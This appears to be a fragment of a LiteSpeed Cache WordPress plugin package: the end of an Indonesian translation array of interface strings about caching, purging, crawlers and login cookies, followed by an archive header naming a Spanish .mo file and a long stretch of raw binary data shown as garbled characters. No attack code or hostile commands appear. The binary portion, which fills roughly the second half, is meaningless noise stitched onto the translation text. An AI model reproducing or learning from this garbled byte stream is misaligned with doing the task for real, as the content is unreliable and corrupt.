keterbacaan.','Heartbeat'=>'Detakan','MB'=>'MB','Log File Size Limit'=>'Batas Ukuran Berkas Log','<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s'=>'<p>Silakan tambahkan /ganti kode berikut ke awal %1$s:</p>%2$s','%s file not writable.'=>'Berkas %s tidak dapat ditulisi.','%s file not readable.'=>'Berkas %s tidak dapat dibaca.','Collapse Query Strings'=>'Ciutkan String Kueri','ESI Settings'=>'Pengaturan ESI','A TTL of 0 indicates do not cache.'=>'TTL 0 mengindikasikan jangan dicache.','Recommended value: 28800 seconds (8 hours).'=>'Nilai disarankan: 28800 detik (8 jam).','Widget Cache TTL'=>'TTL Cache Widget','Enable ESI'=>'Aktifkan ESI','See %sIntroduction for Enabling the Crawler%s for detailed information.'=>'Lihat %sPendahuluan untuk Mengaktifkan Perayap%s Untuk informasi lebih lanjut.','Custom Sitemap'=>'Peta Situs Khusus','Purge pages by relative or full URL.'=>'Bersihkan halaman berdasarkan URL relatif atau lengkap.','The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider.'=>'Fitur perayap tidak diaktifkan di peladen LiteSpeed. Silakan berkonsultasi dengan admin peladen atau penyedia hosting Anda.','WARNING'=>'PERINGATAN','The next complete sitemap crawl will start at'=>'Perayapan peta situs lengkap berikutnya akan dimulai pada','Failed to write to %s.'=>'Gagal menulis ke %s.','Folder is not writable: %s.'=>'Folder tidak dapat ditulisi: %s.','Can not create folder: %1$s. Error: %2$s'=>'Tidak dapat membuat folder: %1$s. Galat: %2$s','Folder does not exist: %s'=>'Folder tidak ada: %s','Notified LiteSpeed Web Server to purge the list.'=>'Beritahu Peladen Situs LiteSpeed untuk membersihkan daftar.','Please visit the %sInformation%s page on how to test the cache.'=>'Harap kunjungi halaman %sInformasi%s untuk bagaimana menguji cache.','Allows listed IPs (one per line) to perform certain actions from their browsers.'=>'Mengizinkan IP terdaftar (satu per baris) untuk melakukan tindakan tertentu dari peramban mereka.','Server Load Limit'=>'Batas Beban Peladen','Specify how long in seconds before the crawler should initiate crawling the entire sitemap again.'=>'Tentukan berapa detik sebelum perayap harus kembali merayapi seluruh peta situs.','Crawl Interval'=>'Interval Perayapan','Then another WordPress is installed (NOT MULTISITE) at %s'=>'Kemudian WordPress lain diinstal (BUKAN MULTI SITUS) di %s','LiteSpeed Cache Network Cache Settings'=>'Pengaturan Cache Jaringan LiteSpeed Cache','Select below for "Purge by" options.'=>'Pilih di bawah ini untuk opsi "Pembersihan berdasarkan".','LiteSpeed Cache CDN'=>'CDN LiteSpeed Cache','No crawler meta file generated yet'=>'Tidak ada berkas meta perayap yang dibuat','Show crawler status'=>'Tampilkan status perayap','Watch Crawler Status'=>'Lihat Status Perayap','Please see %sHooking WP-Cron Into the System Task Scheduler%s to learn how to create the system cron task.'=>'Harap lihat %sMenghubungkan WP-Kron ke Penjadwal Tugas Sistem%s untuk mempelajari cara membuat tugas kron sistem.','Run frequency is set by the Interval Between Runs setting.'=>'Frekuensi menjalankan diatur oleh pengaturan Interval Antar Proses.','Manually run'=>'Jalankan manual','Reset position'=>'Reset posisi','Run Frequency'=>'Frekuensi Dijalankan','Cron Name'=>'Nama Kron','Crawler Cron'=>'Kron Perayap','%d minute'=>'%d menit','%d minutes'=>'%d menit','%d hour'=>'%d jam','%d hours'=>'%d jam','Generated at %s'=>'Dibuat pada %s','LiteSpeed Cache Crawler'=>'Perayap LiteSpeed Cache','If there are any questions, the team is always happy to answer any questions on the %ssupport forum%s.'=>'Jika ada pertanyaan, tim selalu senang menjawab pertanyaan apa pun di %sforum dukungan%s.','Crawler'=>'Perayap','https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration'=>'https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration','Notified LiteSpeed Web Server to purge all pages.'=>'Beritahu Peladen Situs LiteSpeed untuk membersihkan seluruh halaman.','All pages with Recent Posts Widget'=>'Seluruh halaman dengan Widget Tulisan Terkini','Pages'=>'Halaman','This will Purge Pages only'=>'Ini akan Membersihkan Halaman saja','Purge Pages'=>'Bersihkan Halaman','Cancel'=>'Batal','Deactivate'=>'Nonaktifkan','Activate'=>'Aktifkan','Email Address'=>'Alamat Surel','Install Now'=>'Instal Sekarang','Purged the URL!'=>'Menghapus URL!','Purged the blog!'=>'Membersihkan blog!','Purged All!'=>'Membersihkan Semua!','Notified LiteSpeed Web Server to purge error pages.'=>'Beritahu Peladen Situs LiteSpeed untuk membersihkan halaman galat.','If using OpenLiteSpeed, the server must be restarted once for the changes to take effect.'=>'Jika menggunakan OpenLiteSpeed, peladen harus dimulai ulang sekali agar perubahan diterapkan.','If the login cookie was recently changed in the settings, please log out and back in.'=>'Jika kuki masuk baru-baru ini diubah dalam pengaturan, silakan keluar dan masuk kembali.','However, there is no way of knowing all the possible customizations that were implemented.'=>'Namun, tidak ada cara untuk mengetahui seluruh kemungkinan penyesuaian yang diterapkan.','The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site.'=>'Plugin LiteSpeed Cache digunakan untuk men-cache halaman, cara sederhana untuk meningkatkan kinerja situs.','The network admin setting can be overridden here.'=>'Pengaturan admin jaringan dapat ditimpa di sini.','Specify how long, in seconds, public pages are cached.'=>'Tentukan berapa lama, dalam detik, halaman publik dicache.','Specify how long, in seconds, private pages are cached.'=>'Tentukan berapa lama, dalam detik, halaman pribadi dicache.','It is STRONGLY recommended that the compatibility with other plugins on a single/few sites is tested first.'=>'SANGAT dianjurkan untuk menguji kompatibilitas dengan plugin lain terlebih dahulu pada satu atau beberapa situs.','Purge pages by post ID.'=>'Bersihkan halaman berdasarkan ID tulisan.','Purge the LiteSpeed cache entries created by this plugin'=>'Bersihkan entri cache LiteSpeed ​​yang dibuat oleh plugin ini','Purge %s error pages'=>'Bersihkan halaman  %s','This will Purge Front Page only'=>'Ini akan Membersihkan Halaman Depan saja','Purge pages by tag name - e.g. %2$s should be used for the URL %1$s.'=>'Bersihkan halaman berdasarkan nama tag - mis. %2$s sebaiknya digunakan untuk URL %1$s.','Purge pages by category name - e.g. %2$s should be used for the URL %1$s.'=>'Bersihkan halaman berdasarkan nama kategori - mis. %2$s sebaiknya digunakan untuk URL %1$s.','If only the WordPress site should be purged, use Purge All.'=>'Jika hanya situs WordPress yang harus dibersihkan, gunakan Bersihkan Semua.','Notified LiteSpeed Web Server to purge everything.'=>'Beritahu Peladen Situs LiteSpeed untuk membersihkan seluruhnya.','Use Primary Site Configuration'=>'Gunakan Konfigurasi Situs Utama','This will disable the settings page on all subsites.'=>'Ini akan menonaktifkan halaman pengaturan pada seluruh subsitus.','Check this option to use the primary site\'s configuration for all subsites.'=>'Periksa opsi ini untuk menggunakan konfigurasi situs utama untuk seluruh subsitus.','Save Changes'=>'Simpan perubahan','The following options are selected, but are not editable in this settings page.'=>'Pilihan berikut dipilih, tetapi tidak dapat disunting di halaman pengaturan ini.','The network admin selected use primary site configs for all subsites.'=>'Admin jaringan yang dipilih menggunakan konfigurasi situs utama untuk seluruh subsitus.','Empty Entire Cache'=>'Bersihkan Seluruh Cache','This action should only be used if things are cached incorrectly.'=>'Tindakan ini hanya boleh digunakan jika ada sesuatu yang dicache dengan tidak benar.','Clears all cache entries related to this site, including other web applications.'=>'Membersihkan seluruh entri cache yang terkait dengan situs ini, termasuk aplikasi web lainnya.','This may cause heavy load on the server.'=>'Ini dapat menyebabkan beban berat di peladen.','This will clear EVERYTHING inside the cache.'=>'Ini akan menghapus SEMUA yang ada di dalam cache.','LiteSpeed Cache Purge All'=>'Bersihkan Seluruh LiteSpeed Cache','If you would rather not move at litespeed, you can deactivate this plugin.'=>'Jika Anda lebih suka tidak berpindah dengan kecepatan tinggi, Anda dapat menonaktifkan plugin ini.','Create a post, make sure the front page is accurate.'=>'Buat tulisan, pastikan halaman depan akurat.','Visit the site while logged out.'=>'Kunjungi situs saat keluar.','Examples of test cases include:'=>'Contoh kasus uji meliputi:','For that reason, please test the site to make sure everything still functions properly.'=>'Untuk alasan itu, silakan uji situs untuk memastikan seluruhnya masih berfungsi dengan baik.','This message indicates that the plugin was installed by the server admin.'=>'Pesan ini menunjukkan bahwa plugin telah diinstal oleh admin peladen.','LiteSpeed Cache plugin is installed!'=>'Plugin LiteSpeed Cache diinstal!','Debug Log'=>'Log Debug','Admin IP Only'=>'Hanya IP Admin','The Admin IP option will only output log messages on requests from admin IPs listed below.'=>'Opsi IP Admin hanya akan mengeluarkan pesan log berdasarkan permintaan dari IP admin yang tercantum di bawah ini.','Specify how long, in seconds, REST calls are cached.'=>'Tentukan berapa lama, dalam detik, panggilan REST dicache.','The environment report contains detailed information about the WordPress configuration.'=>'Lingkungan laporan berisi informasi terperinci tentang konfigurasi WordPress.','The server will determine if the user is logged in based on the existence of this cookie.'=>'Peladen akan menentukan apakah pengguna telah masuk berdasarkan keberadaan kuki ini.','Note'=>'Catatan','After verifying that the cache works in general, please test the cart.'=>'Setelah memverifikasi bahwa cache berfungsi secara umum, silakan coba keranjang.','When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded.'=>'Saat diaktifkan, cache akan secara otomatis dibersihkan ketika ada plugin, tema, atau inti WordPress yang ditingkatkan.','Purge All On Upgrade'=>'Bersihkan Saat Meningkatkan','Product Update Interval'=>'Interval Pembaruan Produk','Determines how changes in product quantity and product stock status affect product pages and their associated category pages.'=>'Menentukan bagaimana perubahan kuantitas produk dan status stok produk dapat mempengaruhi halaman produk dan halaman kategori terkait.','Always purge both product and categories on changes to the quantity or stock status.'=>'Selalu bersihkan baik produk maupun kategori pada perubahan kuantitas atau status persediaan.','Do not purge categories on changes to the quantity or stock status.'=>'Jangan membersihkan kategori pada perubahan kuantitas atau status persediaan.','Purge product only when the stock status changes.'=>'Bersihkan produk hanya ketika status persediaan berubah.','Purge product and categories only when the stock status changes.'=>'Bersihkan produk dan kategori hanya ketika status persediaan berubah.','Purge categories only when stock status changes.'=>'Bersihkan kategori hanya ketika status persediaan berubah.','Purge product on changes to the quantity or stock status.'=>'Bersihkan produk dari perubahan kuantitas atau status persediaan.','Htaccess did not match configuration option.'=>'Htaccess tidak cocok dengan opsi konfigurasi.','If this is set to a number less than 30, feeds will not be cached.'=>'Jika diatur ke angka kurang dari 30, pengumpan tidak akan dicache.','Specify how long, in seconds, feeds are cached.'=>'Tentukan berapa lama, dalam detik, pengumpan dicache.','Default Feed TTL'=>'TTL Pengumpan Asali','Failed to get %s file contents.'=>'Gagal mendapatkan konten berkas %s.','Disabling this option may negatively affect performance.'=>'Menonaktifkan opsi ini dapat memengaruhi kinerja secara negatif.','Invalid login cookie. Invalid characters found.'=>'Kuki masuk invalid. Ditemukan karakter yang invalid.','WARNING: The .htaccess login cookie and Database login cookie do not match.'=>'PERINGATAN: Kuki masuk .htaccess dan kuki masuk Basis Data tidak cocok.','Invalid login cookie. Please check the %s file.'=>'Kuki masuk tidak valid. Silakan cek berkas %s.','The cache needs to distinguish who is logged into which WordPress site in order to cache correctly.'=>'Cache perlu membedakan siapa yang masuk ke situs WordPress mana untuk men-cache dengan benar.','There is a WordPress installed for %s.'=>'Terdapat instalasi WordPress untuk %s.','Example use case:'=>'Contoh kasus penggunaan:','The cookie set here will be used for this WordPress installation.'=>'Kuki yang ditetapkan di sini akan digunakan untuk instalasi WordPress ini.','If every web application uses the same cookie, the server may confuse whether a user is logged in or not.'=>'Jika setiap aplikasi web menggunakan kuki yang sama, peladen akan bingung apakah pengguna masuk atau tidak.','This setting is useful for those that have multiple web applications for the same domain.'=>'Pengaturan ini berguna bagi mereka yang memiliki beberapa aplikasi web untuk domain yang sama.','The default login cookie is %s.'=>'Kuki masuk asali adalah %s.','Login Cookie'=>'Kuki Masuk','More information about the available commands can be found here.'=>'Informasi lebih lanjut tentang perintah yang tersedia dapat ditemukan di sini.','These settings are meant for ADVANCED USERS ONLY.'=>'Pengaturan ini hanya ditujukan untuk PENGGUNA MAHIR.','Current %s Contents'=>'Konten %s Saat Ini','Advanced'=>'Tingkat Lanjut','Advanced Settings'=>'Pengaturan Lanjutan','Purge List'=>'Bersihkan Daftar','Purge By...'=>'Bersihkan Berdasarkan...','URL'=>'URL','Tag'=>'Model','Post ID'=>'ID Tulisan','Category'=>'Kategori','NOTICE: Database login cookie did not match your login cookie.'=>'PEMBERITAHUAN: Kuki masuk basis data tidak cocok dengan kuki masuk Anda.','Purge url %s'=>'Bersihkan url %s','Purge tag %s'=>'Bersihkan tag %s','Purge category %s'=>'Bersihkan kategori %s','When disabling the cache, all cached entries for this site will be purged.'=>'Saat menonaktifkan cache, seluruh entri yang dicache pada situs ini akan dihapus.','NOTICE'=>'PEMBERITAHUAN','This setting will edit the .htaccess file.'=>'Pengaturan ini akan menyunting berkas .htaccess.','LiteSpeed Cache View .htaccess'=>'Tampilan .htaccess LiteSpeed Cache','Failed to back up %s file, aborted changes.'=>'Gagal mencadangkan berkas %s, perubahan dibatalkan.','Do Not Cache Cookies'=>'Jangan Cache Kuki','Do Not Cache User Agents'=>'Jangan Cache Agen Pengguna','This is to ensure compatibility prior to enabling the cache for all sites.'=>'Untuk memastikan kompatibilitas sebelum mengaktifkan cache untuk seluruh situs.','Network Enable Cache'=>'Cache Jaringan Diaktifkan','NOTICE:'=>'PEMBERITAHUAN:','Other checkboxes will be ignored.'=>'Kotak centang lainnya akan diabaikan.','Select "All" if there are dynamic widgets linked to posts on pages other than the front or home pages.'=>'Pilih "Seluruh Halaman" jika ada widget dinamis yang ditautkan ke tulisan di halaman selain halaman depan atau beranda.','List of Mobile User Agents'=>'Daftar Agen Pengguna Seluler','File %s is not writable.'=>'Berkas %s tidak dapat ditulisi.','JS Settings'=>'Pengaturan JS','Manage'=>'Kelola','Default Front Page TTL'=>'TTL Beranda Asali','Notified LiteSpeed Web Server to purge the front page.'=>'Beritahu Peladen Situs LiteSpeed untuk membersihkan halaman depan.','Purge Front Page'=>'Bersihkan Halaman Depan','Example'=>'Contoh','All tags are cached by default.'=>'Seluruh tag dicache secara asali.','All categories are cached by default.'=>'Seluruh kategori dicache secara asali.','To do an exact match, add %s to the end of the URL.'=>'Agar sama persis, tambahkan %s ke akhir URL.','The URLs will be compared to the REQUEST_URI server variable.'=>'URL akan dibandingkan dengan variabel peladen REQUEST_URI.','Select only the archive types that are currently used, the others can be left unchecked.'=>'Pilih hanya jenis arsip yang saat ini digunakan, yang lain dapat dibiarkan tidak dicentang.','Notes'=>'Catatan','Use Network Admin Setting'=>'Gunakan Pengaturan Jaringan Admin','Disable'=>'Nonaktif','Enabling LiteSpeed Cache for WordPress here enables the cache for the network.'=>'Mengaktifkan LiteSpeed Cache untuk WordPress di sini memungkinkan cache untuk jaringan.','Disabled'=>'Dinonaktifkan','Enabled'=>'Diaktifkan','Do Not Cache Roles'=>'Jangan Cache Peran','https://www.litespeedtech.com'=>'https://www.litespeedtech.com','LiteSpeed Technologies'=>'LiteSpeed Technologies','LiteSpeed Cache'=>'LiteSpeed Cache','Debug Level'=>'Level Debug','Notice'=>'Pemberitahuan','Term archive (include category, tag, and tax)'=>'Arsip istilah (termasuk kategori, tag, dan taksonomi)','Daily archive'=>'Arsip harian','Monthly archive'=>'Arsip bulanan','Yearly archive'=>'Arsip tahunan','Post type archive'=>'Arsip jenis tulisan','Author archive'=>'Arsip penulis','Home page'=>'Halaman beranda','Front page'=>'Halaman depan','All pages'=>'Seluruh halaman','Select which pages will be automatically purged when posts are published/updated.'=>'Pilih halaman mana yang akan secara otomatis dihapus ketika tulisan diterbitkan/diperbarui.','Auto Purge Rules For Publish/Update'=>'Aturan Pembersihan Otomatis untuk Penerbitan/Publikasi','Default Public Cache TTL'=>'TTL Cache Publik Asali','seconds'=>'detik','Admin IPs'=>'IP Admin','General'=>'Umum','LiteSpeed Cache Settings'=>'Pengaturan LiteSpeed Cache','Notified LiteSpeed Web Server to purge all LSCache entries.'=>'Peladen Situs LiteSpeed ​​telah diberitahu untuk membersihkan seluruh entri LSCache.','Purge All'=>'Bersihkan Semua','Settings'=>'Pengaturan','Support forum'=>'Forum dukungan']];litespeed-wp-plugin/7.5.0.1/translations/litespeed-cache-es_ES.mo000064400000511111151031165260020341 0ustar00���-�Z8x9xAxSxqx2�x�x�x�x
�x	�x
�x
yyy9yOyey	nyxy	�y�y.�y�y
�y�y�yh�yNdzg�z\{ox{b�{eK|a�|=}dQ}��}w9~��~"=7`��.�4� �
0�>�H\�������Ѐ�'��
$�	2�<�E�\�%n���|��F�
^�.i�0��ɂ%؂	��"�+�PK���T��Z�>[�����4Ą-��/'�qW�LɅ2�II�*��J��	��#$�H�Z�w���
����Q��O�S�si�E݈P#�8t�0��މ'��#�:�T�3j�������$ÊS�	<�	F�P� \�"}�/��*Ћ��
��(��:�4�����f)�6�N�R�
a�'o�
������#��ގ����
(�3�@�^�k�q�������	��Ə܏
�����!�80�&i�0��'��*�S�h� �� ��(Ǒ��� �!��?�ǒԒW�KD�%��	����ғ�$�,�E�]�"u���"��ה!��4�&T�&{�"��Gŕ!
�,/�$\�+����͖��'�(G�p�'v���
����Pݗ.�E�1X�
��%��2�����V	�^`�
��ʙٙ����.�>�&U�.|�N��*��/%�VU�]��L
�W�v����� ��М!���
"�0�9�V�e�m�z�����%��Bԝ
��"�4��&�6�?�L�	_�i�}�6��ӟ�
��2� M�"n�������/Ԡ/�*4�<_�<��7١� �9�H�U�j�
��	��������͢��
��.�
@�N�	Z�d�s�������
��ţ֣!��'�A�Z�k�����
��Ȥ�Ѥ9w���)��M�1�+O�}{���D
�8O�����!��
ǧէ�;���4�� �� �K>�8��éީ����'�<�P�k�~�����C�����H�f�x�
|���<��Ѭ���9�9K�
��������ʭ
׭����,.�^[�q��,�4�T�Nt�ïЯ�ׯ(j�
������Ȱ�� �(�:�Z�g�x�����������+��%�,�s9�'��ղ�"	�%,�R�r�&����óԳ��6�(=�f�~�����Lδ�9'�:a�6��-ӵ��K��W�B�S�
k�v���O��
����3�J�R�c��
��Q����2�A�Q�
l�'z����� й0�"�1�E�#X�|�
��������!ʺ���"���ϻ����(�
4�B�	V�`�Br�
����ȼ	ּ̼2ۼZ�,i�����-ƽ��/̾i��:f�;��YݿK7�V��U�L0�f}�B�Y'�:�����VC�`��J��gF�x��='�@e�=������	�%�@�\�
o�<}�?�����'�C�[�?l������� ��&�� �D<���l��G���B�������
��
�����������������
������
��
��/��/�E�kZ�<��
��(-�V�
u�����	����c���9�J�.a���
����
��������h�p�Ax����T�	`�j�v�������'����
��
����
*�
8�"F�i�r���$��+����#�� �*9�d�u�����
����
��$��(�7�T�Cg���P��F�F^�E��@��5,�2b�B��C��>�"[�=~�&������%�-�E�%_� ��"��&����!�*�D� ]�~���>��2��$'�L�c�r���������d��=� U�v�/��.��������/�L�`�t�}�����������������
��"�.�=�L�k�%r���$��
������������@!�
b�%p��������6�=�>E����� ����*�� �/�4�2J�}���"��*��*�",�"O�	r�|���<��,��$�+�
1�
?�M�Q]�������
��.��?��6>�;u�1��3��2�6J�0��������$�������
�#�Q@�2��Q��D�
\�j�#z�-��$��?��1��H�7����%(�	N�X�`�q����������������$&�K�Ed�+��*����#�,�<J�������
��
��$��������!�10�b�Yo����������;�B�K�]�Rs�c��2*�?]�
������d��<E�5��S��C�5P���j����K��O��'1�?Y�����
��������9��;&�=b�>��0��M�^�u�p}�|��/k�&��&�)�8�7L�4�����
��
���F��d�UK���X����&�;�AG�A�����	�����$�0�A�
R�	]�g�s�%����0���I�Q�$i�D��@�9�1N���8��a�(�8�E�Q�q�����+��
�����P�<g������/�#�#>��b�;�E*�p<=H��Q�+3<L2^�����
� .Oet������&�%{>;��4%Zw��F��
!5W!o��.���&F&dB���	Y	w	�	�	$�	,�	

I3

}
�
�

�
�
:�

+;3go�.�'AdW��G�f.
$�
X�
Q7e+�J�g.����QR0^P�^�q?�	���9Wv`}�(U~�>��U�NJe��
&4&Qx#}��9�
Vim_�C7G{a�8%4^/�7�6�72-j)�L�*):-d(�H�AcFR�M�K\n(�3��R�<Qiz��
���2�($$M5r�����e�-Dr/zZ�h ^n ]� =+!ii!8�!["ch"C�"j#z{#A�#q8$`�$'%q3%�%�%W�%%;&Oa&>�&�&	'K!'m'Er(1�(-�(8)MQ)Y�),�))&*SP*9�*&�*)+9/+$i+X�+1�+,A.,^p,E�,U-(k-S�-Y�-B.JX.z�.(/IG/x�/^
0Ai04�0)�0c
10n1.�1��1�u2�3�3A�3Y4*^4F�49�4-
71871j7(�76�7�78478Rl8p�8,09*]91�9;�9/�9(&:JO:4�:B�:;N1;Q�;o�;XB</�<G�<9=1M=�=�>$�>��>J�?^�?37@Nk@�@W�@�0A��A>�BH�BHC<]C1�CV�CL#D*pD]�D�D�DEEE$(EMEbE
sE�E�E�E�E�E�E��E/tF(�F)�F�FXG�eG��G�pH
�H
III:IRIdI@qI�I
�I%�Ig�IHOJ�J
�K
�K
�K�K�K�K�K:�K>6L@uLp�L'MAMQMkMM�Mr�M]$N5�N_�N�O(�O8�OP#5PYP$yP.�P2�PrQHsQ�Q!�Q�Q�QRCRFUR�R
�R�R�R�R�RS*S9SSScSxS �S�SK�STT+%TQT)fT��T "U
CUQUpU�U�U�Ue�UJ/VjzVK�Vd1WM�WJ�W/X$KXpXg�X�XRYZSY�Y�Y'�Y#Z/Z�>Z%�Z-[�<[/�[k$\(�\E�\��\u�]F,^0s^D�^.�^S_4l_*�_�_C�_A/`Lq`-�`G�`<4a-qa�a/�a�a	b)bZ;bw�bcCcacxd
�d�d�d�dK�dee#e>eJEe	�e�e�e�e��e7f?f Kflgug'�g,�g?�g h6h>hGh	Vh
`hkh
wh"�h�h#�h�h	�h	�h	ii3(i\i	miwi~ip�iSjxbj|�j�Xk��k�li
mGwm��m�Sn��n��oopE�p�p�pH�pR5q$�q�q�q_�q9rAr]r%}r�r0�r�r
ss(s?s,Qs~s��sK#tot7xt9�t�t0u8u3Ku.u\�uvYvzuvH�v$9w^wBsw;�w2�wm%xh�xM�xGJy(�y^�yz,z>Dz�z2�z�z �z{*${ZO{e�{|o,|c�|p}Eq}E�}$�}?"~(b~*�~&�~A�~''O.Us����2 �$S�>x�,��	��"�&��>�F�-�k/���)��҃փ�+��#�<�
K�)V�����'��DŽ
ӄ��

��"� A�b�x���%��ͅ�����&�O9�2��G��L�KQ�e��7�-;�-i�2��ʈ
ӈ,ވ��'�҉�^�\a�(�����6/�7f�'��!Ƌ�'�/+�1[�+��3��,�/�1J�4|�+��Yݍ,7�+d�,��4��+�(�!G�)i�5��*ɏ�:��6�U�$j�f����!�<7�t�/��=������!����
3�>�.P��������ӓ-�; �b\�%��/�]�ds�Sؕ,�L�`�t�'����"̖���.�'>�f�
��� ����ٗ9�`)������IE�-��G����*�:�#T�Mx�#ƚ/��/�"I�3l�$��śݛ�?
�;M�6��M��I�DX���!��՝��(�5�
D�
O�]�z�,��Þ؞
�!�
�"�8�M�e�$|� �� Ÿ���'�0C�%t�$��%���'��%�#<�`�r��{�KS�	��@��V�)A�:k����>�NQ�=��
ޤ%�6�F�)[���U����ܦ*�$�_8�C��ܧ	����(�A�V� j�������ȨI�+�D�^L���ǩ
˩٩P�#9�]�r�B��?ѫ!�3�K�a�}�����#��#׬E��^A�}���$'�!L�Jn���Ѯ�׮.��ϯد��!�=�]�e�u���������۰�����E�!K�1m����*1�\�*v�0��3Ҳ%�,�6A�x���#��%˳�H��,C�p���#��*̴`��X�;d�M��=�5,��b�X�[j�Ʒܷ���"�q;���'��)ݸ%�-�@�R�(p���_���<�R�c���7��Ⱥ�'�.(�W�j��� ��ƻϻ�#��'�(D�$m�%�����+����н�!�'�6�C�	Y�c�Lx�	ž	Ͼپ��@��Y9�9��Ϳ�1�&8�8_�o��G�?P�f��c��d[�t��^5�u��K
�dV�<�����c��s��Jr�����l�U��PF�F������%�(9�b�����O��c�i�!��#��"����W�Y�b�v�5��.��!��R�h�u�_���U����!�
3��>��)��&4�![� }����^�g� s�����
��@��@�E�oe�F���&(�)O�&y�����
����
��{��+l�����@��
���;�O�l�1|�~��-�^5����	a�k�{���������B��+�;�L�a�r�����,������
�2 �8S���@��+��.�E�$d�����	��-��
��,�+4�&`���M����^�Gf�G��Y��ZP�@��B��T/�W��P��$-�PR�:������0�=�[�;y�$��-��5�>�+V�#��%��*��!��/�EI�:��,�� ���/�J�_�v������'�#B�f�Cz�I��
��*�C�X�u�)������"����	��%�.�C�H�b�
�������������.�7�.Q�
��������
������J��!�'.�V�r��w���i�x���1����4��,&�S�)\�V��*��%�6.�De�@��"��,�
;�F�X�Zt�B��E�X�^�
k�y�f�������8�NK�A��O��D,�Gq�6��F��:7�r�v�y�+����������'��g#�<��T��P�n�~�0��6��*��;%�$a����E!�
g�u�.��
��������)�G�c�������.�"��V�4p�9������*�JF� ��������(��6�<� O�7p���l��$&�K�i�����'�������g��{�:�L=�������p�O9�<��_�K&�Dr�*��w��Z_
aj=�C
!Npw
���G�F
FTG�>�U"x
�t��4�A�;8VC�[�W/(�������_�m�ea	'�	Z�	J
S
c
�
T�
U�
@G\|��
�����/-#]C��U�"3
,V
J�
K�
IAd�A�r�q��)���
5
HSe'�`�O\&o#�4�!�,�>J�Q�qC\X��#e2,����4
@K)k"���+�'#0Tj��(�8�43KA���T�$��='V-~��S�!5H(e�0���E
P&g �2�"�3I9�)�#��q%�1�'�A I h M� � � � !1!VN!.�!�!`�!�>"�"B�"(#71#i#��#
$#$X<${�$1%iC%m�%H&9d&Z�&!�&q'�',�'.�'�'O(j(D�(p�(n8)��)?*^*n*+�*!�*?�*	+�$+��+.e,#�,�,X�,-e7-R�-a�- R.s.�.'�..�.�.1/6/4H/B}/�/~�/�P0|�0UP1`�1T2c\2\�2@3`^3a�3I!49k46�4b�40?5)p5<�5/�5O6IW6i�6X7Yd7�7�7 �7@8OF8�8k�8	9$)9N9k9{9�9�9(�9�91�9":%.:3T:X�: �:;;;%;z.;?�;�;1�;m$<s�<_=of=D�=~>>�>q�>lK?`�?�@��@K`A�A�,B-�B��BlC&�C[�C9
D_GDJ�D#�DEP5E'�Ed�F=G<QG?�GS�G^"H1�H+�Ha�H0AI#rI=�I@�I#J\9J;�J�J^�JsEK]�KtL7�L_�Ld$M�MV�M��M0�NR�N�"O��OW7P5�P-�P|�P5pQ8�Q��Q��R�oS1T]NTV�T*UW.U��U-xX2�X5�X(Y<8Y'uY�YA�Y\�Y�\Z)�Z?[:H[U�[6�[,\g=\?�\J�\"0]^S]V�]x	^i�^7�^S$_?x_B�_��_��`,Ia�vaTUbc�b:cdIc!�ck�c�<d��dJ�eW%fW}fH�fJgWig\�g0hmOh�h�h�h�h	�h*�h"i"7iZizi�i �i�i�i�i�i0�j4'k?\k%�kr�k�5l��l��m8nOn[n$jn(�n�n
�nR�n4o
8o)Co�mofp�gp
�q�q

r
r&r>rBrE[rI�rk�r�Ws#�st#!tEt_t'xt��tkCu>�u}�u�lv6wFPw.�w.�w(�w%x4Dx5yx��xiOy�y+�y�y�yzG&zWnz�z�z�z(	{2{O{d{|{%�{�{�{"�{)|6|fB|	�|�|3�|}0}�L}$�}~$)~N~n~�~ �~|�~]7}�Y�sm�a�XC�&�� Á�u��"p�o��t�x�,��4��%�
��%�,�8��Q�7D��|�+7�Xc����}��K�*M�Lx�5ʼnW��AS�7��͊E�:-�[h�7ċR��UO�.��%Ԍ=��8�V�.\�f������Q��L�O�W�c�k���K�������Z!�|�
����	�����1�=�~=�N�Q�~��;��%����I���r!6lx��_���e6��s�(�4�`�8V3�@��u/� P����m+:&@i��Rq������d�����.l�*����;����
�/Y�f+6���'�Y
�M�J��Y��H$'�E[8���M�7��Q�A�T��iSn|�����S�/2R(|A�^�>�0q��D9�����f�Bq�&�~�e�h�+���I@~`�-e5�
!m�K,��(oR?�9�Sz�
KR���q{4;���f��&�(�\h�x���Q �^q.���J��f���t�y��Q�<������Z9�c�gw?���lF]d^���� XbDP,�z��$��E�7=����������k+��w��G��6<�rK����H������4x�lci3��<���!y	����L�Pc2#A����{!N.-h~�I��J;A��`�!k|�v�Ea�[@Z���,��Ch��{�an����F�jn5�?M/7�(/��ds������UU����j�Rg�y'����E�1C����7z���s
��T���|��7���v�t��T{0��N���f��j����VVd��wx��)FAi��1_rFD#���Y?"t�7G3Pr���XK
*W����Q���4W�\�A���y���&z���{�CN������XT' ����OS*o(.��"����%=C��fW[��m�\�P��'�.�� �����Z�8Z���g���vb�OcSn�p)�m�x��,s1�]g�j��$b"��?Bo:t���'H^�`�Na��������5"����[�u��)�]���BX�� ��H���Q�V���K��|_Z{i��J��r�o�,S]��:�oL�$�v���*	"4@�#0w�0��+�>�\a�X�V���d�3*�nk�����L�5L�����su�����;�c������h�]>�?��e��RO>G������)F�	8��Uz,���#=����\K�4<t���&3�v�6e������2�$O��a�`P:�ki1.pH@6�-��T��1���)_k}0�)���e��_���O����Z5�Xg��w�J&�9�5�IU9�F���������!I_��8��#�D��}�k����~L�o�����2��]
���}u��`�J>B�^E���T�2�L��BpW"�M�=��j%U����:lM���p�NG�Y����UW������w�=/�H8�����b�m��s��u[�E��%�vVj�Og�z�
q
���>D\����r�
�-C�n$����cd�:����
��-�}�GpC����uG��}
